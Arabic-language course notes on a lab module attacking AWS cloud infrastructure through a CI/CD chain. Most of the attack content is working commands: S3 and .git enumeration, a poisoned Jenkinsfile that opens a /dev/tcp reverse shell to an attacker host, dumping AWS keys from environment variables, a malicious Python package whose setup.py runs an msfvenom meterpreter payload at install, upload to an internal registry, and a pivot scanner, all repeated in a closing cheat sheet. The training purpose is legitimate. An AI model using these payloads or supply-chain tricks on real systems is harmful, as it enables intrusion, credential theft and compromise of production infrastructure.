مهاجمة بنية AWS السحابية (Attacking AWS Cloud Infrastructure)

01مشهد تهديدات CI/CD Pipeline

ليه الـ Pipelines هدف أساسي للمهاجمين

الـ Pipelines بتؤتمت بناء التطبيقات واختبارها ونشرها — وعشان تعمل كده، بتحتاج وصول واسع لكل حاجة في البيئة. اختراق Pipeline واحد يعني وراثة كل صلاحياته.

OWASP CI/CD Security Top 10

• Insufficient Flow Control Mechanisms
• Inadequate Identity and Access Management
• Dependency Chain Abuse
• Poisoned Pipeline Execution (PPE)
• Insufficient Pipeline-Based Access Controls (PBAC)
• Insufficient Credential Hygiene
• Insecure System Configuration
• Ungoverned Usage of Third-Party Services

Poisoned Pipeline Execution — المفهوم الجوهري

المهاجم بيتلاعب في سكريبتات البناء أو النشر، فتتنفّذ أوامر خبيثة أثناء تشغيل الـ Pipeline تلقائيًا. الـ Pipeline نفسه بيتحوّل لناقل الهجوم.

Dependency Chain Abuse

نشر حزمة خبيثة بتقلّد Dependency شرعية — نظام البناء بيحمّلها وينفّذها تلقائيًا. بمجرد تشغيل الحزمة المخترَقة جوه الـ Pipeline: فحص الشبكات الداخلية، التحرّك الجانبي لبنية تحتية تانية، أو الوصول لملفات Terraform state اللي فيها مفاتيح عالية الصلاحية.

02بيئة المعمل

مكوّنات المعمل

• Source Code Management: Gitea — منصة Git ذاتية الاستضافة، بتعكس أنظمة SCM المؤسسية الحقيقية، وبتخزّن كود التطبيق وتعريفات الـ Pipeline
• CI/CD Automation: Jenkins — بينسّق عمليات البناء والنشر، وبيحتفظ ببيانات اعتماد سحابية تستخدمها الـ Pipelines
• Target Application: تطبيق ويب إنتاجي شغّال، بيستخدم AWS S3 لاستضافة المحتوى الثابت
• البنية المساندة: DNS، وجهاز المهاجم (Kali)

03تعداد سيرفر الأتمتة (Jenkins)

إيه اللي نبحث عنه

• Jenkins سيرفر أتمتة CI/CD مفتوح المصدر ومنتشر جدًا — حتى من غير مصادقة، التعداد ممكن
• رقم إصدار البرنامج من HTTP headers أو صفحات الأخطاء
• قائمة الـ Endpoints المتاحة والمحمية
• الإصدار → بحث عن CVEs واستغلالات معروفة

ليه اكتشاف الإصدار مهم جدًا

• الإصدار الدقيق → بحث ثغرات موجَّه
• Jenkins كان عنده الكثير من CVEs الحرجة: RCE عبر Script Console (بدون مصادقة في الإصدارات القديمة)، ثغرات حقن Groovy script، وعيوب خاصة بإضافات معيّنة (عشرات تُكتشف سنويًا)
• حتى النسخ المحمية بمصادقة ممكن يكون عندها Bypass معروف

04تعداد سيرفر Git (Gitea)

السحابي مقابل ذاتي الاستضافة

نتائج تعداد Gitea

• زيارة واجهة الويب وفحص الصفحة الرئيسية بعناية: إصدار البرنامج (أسفل الصفحة أو في HTTP headers)
• قسم "Explore" بيكشف لو فيه مستودعات عامة
• قسم "Users" بيكشف أسماء مستخدمين صالحة — حتى من غير بيانات اعتماد، تعداد المستخدمين بينجح

05تعداد التطبيق الهدف

dirb http://target.com /usr/share/wordlists/dirb/common.txt

curl https://<bucket>.s3.amazonaws.com/
# Access Denied — لكن مش آمن بالضرورة

gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
# اكتشاف حرج: .git/ موجود!

06اكتشاف أسرار S3 Bucket

ليه مجلد .git حرج جدًا

• مجلد .git = مستودع Git كامل بكل تاريخه — الكود الحالي، ملفات الإعداد، كل النسخ السابقة (كل Commit اتعمل)، سير عمل المطوّرين والتوثيق الداخلي
• Git أبدًا مش بيحذف التاريخ فعليًا — أسرار اتشالت من ملف حالي لسه موجودة في Commits أقدم

aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v

مسار الهجوم حتى الآن: S3 Bucket مُعدّ بشكل خاطئ ← مستودع .git مكشوف ← بيانات اعتماد مسرَّبة ← وصول أدمن كامل على Gitea (كل المستودعات الخاصة، تعديل الكود، تعديل الـ Jenkinsfile، إضافة مفاتيح SSH للاستمرارية).

07تسميم CI/CD Pipeline

ملفات إعداد الـ Pipeline

المشغّلات (Triggers): Push كوميتات لفرع، فتح أو تحديث Pull Request، تنفيذ مجدوَل (cron)، أو Webhook من حدث في المستودع. صلاحية كتابة على المستودع + Webhook مفعَّل = تنفيذ كود.

تحديد الـ Pipeline عالي القيمة

• static_content repo — الـ Pipeline بتاعه بيطبع رسائل بس، مفيش عمليات حقيقية
• image-transform repo — القيّم: بيستخدم withAWS directive لتحميل بيانات اعتماد سحابية من Jenkins (AWS_ACCESS_KEY_ID، AWS_SECRET_ACCESS_KEY، AWS_DEFAULT_REGION)، وبينشر CloudFormation stacks

pipeline {
  agent any
  stages {
    stage('Deploy') {
      steps {
        withAWS(credentials: 'aws_key') {
          script {
            if (isUnix()) {
              sh '''
                nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &
              '''
            }
          }
        } // withAWS بيحافظ على بيانات الاعتماد!
      }
    }
  }
}

08تعداد Build Agent

الخطوات الأولى بعد الحصول على شل

• id، hostname، uname -a — تأكيد الوصول
• النتائج: Userland قائم على Debian فوق kernel من AWS — مؤشر على بيئة مستضافة على AWS
• مستخدم غير مميَّز — لكن الحاوية ممكن يكون عندها Capabilities مرتفعة
• مفيش أدوات شبكة شائعة مثبّتة (nmap، netstat) — مؤشر على حاوية Minimal مش OS كامل

تأكيد بيئة الحاوية

cat /proc/mounts | grep overlay
# مسارات Overlay filesystem → حاوية Docker مؤكَّدة

cat /proc/1/status | grep Cap
capsh --decode=<hex_value>
# النتيجة: الحاوية عندها Capabilities إدارية واسعة

استخراج بيانات اعتماد AWS من البيئة

الـ withAWS block بتاع الـ Pipeline حقن بيانات الاعتماد في متغيرات البيئة أثناء التنفيذ.

env | grep -i aws

AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=abc123...
AWS_DEFAULT_REGION=us-east-1

# استخدامها على Kali:
aws configure --profile pipeline
# بعدين عدّد إيه اللي المفاتيح دي تقدر توصله!

09حزمة Python خبيثة

كيف تعمل هجمات Dependency Chain

• التطبيق الهدف بيستورد حزم Python من طرف ثالث — نظام البناء بيثبّتها تلقائيًا عبر pip/requirements.txt
• الاستراتيجية: إنشاء حزمة خبيثة تبدو شرعية → نشرها على Registry يستخدمه السيرفر الهدف → انتظار التثبيت التلقائي → تنفيذ الحمولة وقت التثبيت أو الاستيراد

أقل هيكل لحزمة Python صالحة

# hackshort-util/            (اسم الحزمة بشرطات)
#   setup.py
#   hackshort_util/__init__.py  (شرطات سفلية للاستيراد)

from setuptools import setup
setup(name='hackshort-util', version='1.0', packages=['hackshort_util'])

# البناء:
python3 setup.py sdist   # ينشئ أرشيف .tar.gz

تسليح setup.py — تنفيذ وقت التثبيت

عبر تجاوز (Override) كلاس أمر التثبيت في setup.py — دالة run() بتتنفّذ أثناء pip install. حتى من غير استيراد الحزمة، مجرد تثبيتها يكفي لتشغيل الحمولة — وده بيشتعل جوه أي Pipeline بينفّذ pip install -r requirements.txt.

msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.118.4 LPORT=4444 -f raw > payload.py

# جوه utils.py:
exec(open('payload.py').read())  # يشتعل عند الاستيراد

python3 setup.py sdist
python3 setup.py sdist upload -r NetLab

# على Metasploit:
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
run -j   # انتظار إعادة بناء الإنتاج!

10ما بعد الاستغلال وPivoting

تعداد حاوية الإنتاج

• جلسة Meterpreter اتفتحت على حاوية الإنتاج — شغّالة بصلاحية ROOT كامل التحكّم بالحاوية
• عدة واجهات شبكة → الحاوية في أكثر من Subnet
• Docker overlay filesystem مؤكَّد (حاوية فعلًا)
• الأولوية: فحص متغيرات البيئة أولًا — غالبًا فيها اسم مستخدم أدمن، كلمة مرور، مفاتيح سرية، وسلاسل اتصال قاعدة البيانات

فحص الشبكة الداخلية — نهج خفيف

المشكلة: مفيش nmap أو netstat جوه الحاوية. الحل: كتابة Port Scanner بـ Python باستخدام socket.connect_ex() من غير أي أدوات خارجية — أسرع وأخف وأكثر تخفّيًا من Nmap اللي غالبًا مش مثبّت في الحاويات Minimal وأصلًا ضجيجه أعلى وقابل للكشف من IDS/IPS.

اكتشاف Jenkins الداخلي

فحص الشبكة بيكشف نسخة Jenkins داخلية — سيرفرات CI/CD بتحتفظ بكل بيانات اعتماد النشر ومتصلة بالكود المصدري والبنية الإنتاجية. ممكن يكون عندها تسجيل ذاتي مفعَّل.

python3 -c "
import socket
for port in [80,443,8080,8443,22,3306]:
    s=socket.socket(); s.settimeout(0.5)
    if not s.connect_ex(('10.x.x.x',port)):
        print(f'{port} open')"
# 8080 open → Jenkins!

curl http://10.x.x.x:8080/
# التسجيل الذاتي مفعَّل!

curl http://10.x.x.x:8080/plugin/s3explorer/ | grep -i aws
# مفاتيح AWS في مصدر الصفحة!

--سلسلة الهجوم الكاملة

--Cheat Sheet مرجعي

dirb http://target.com /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v

stage('Deploy') {
  steps {
    withAWS(credentials: 'aws_key') {
      sh 'nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &'
    }
  }
}

env | grep -i aws
cat /proc/mounts | grep overlay
cat /proc/1/status | grep Cap
aws configure --profile pipeline

msfvenom -p python/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw > payload.py
python3 setup.py sdist
python3 setup.py sdist upload -r <internal-pypi>

الخلاصة العامة للموديول

الموديول ده غطّى مهاجمة بنية AWS السحابية عبر سلسلة CI/CD كاملة — بداية من S3 bucket مُعدّ بشكل خاطئ، مرورًا بتسريب أسرار Git وتسميم Jenkins Pipeline، ووصولًا لهجوم Dependency Chain وPivoting الداخلي بين حاويات الإنتاج.

كل هجمات الموديول ده مبنية على فكرة واحدة: الثقة الممنوحة لـ Pipeline وتخزين سحابي أكبر من التحقق الفعلي المطبَّق عليهم. المختبر اللي بيتتبّع سلسلة الثقة دي — من S3 العام وحتى بيانات اعتماد الـ Pipeline — هو اللي بيوصل لسيطرة كاملة على البنية السحابية بأقل عدد خطوات.

نهاية نوتس الموديول الثالث والعشرين — Attacking AWS Cloud Infrastructure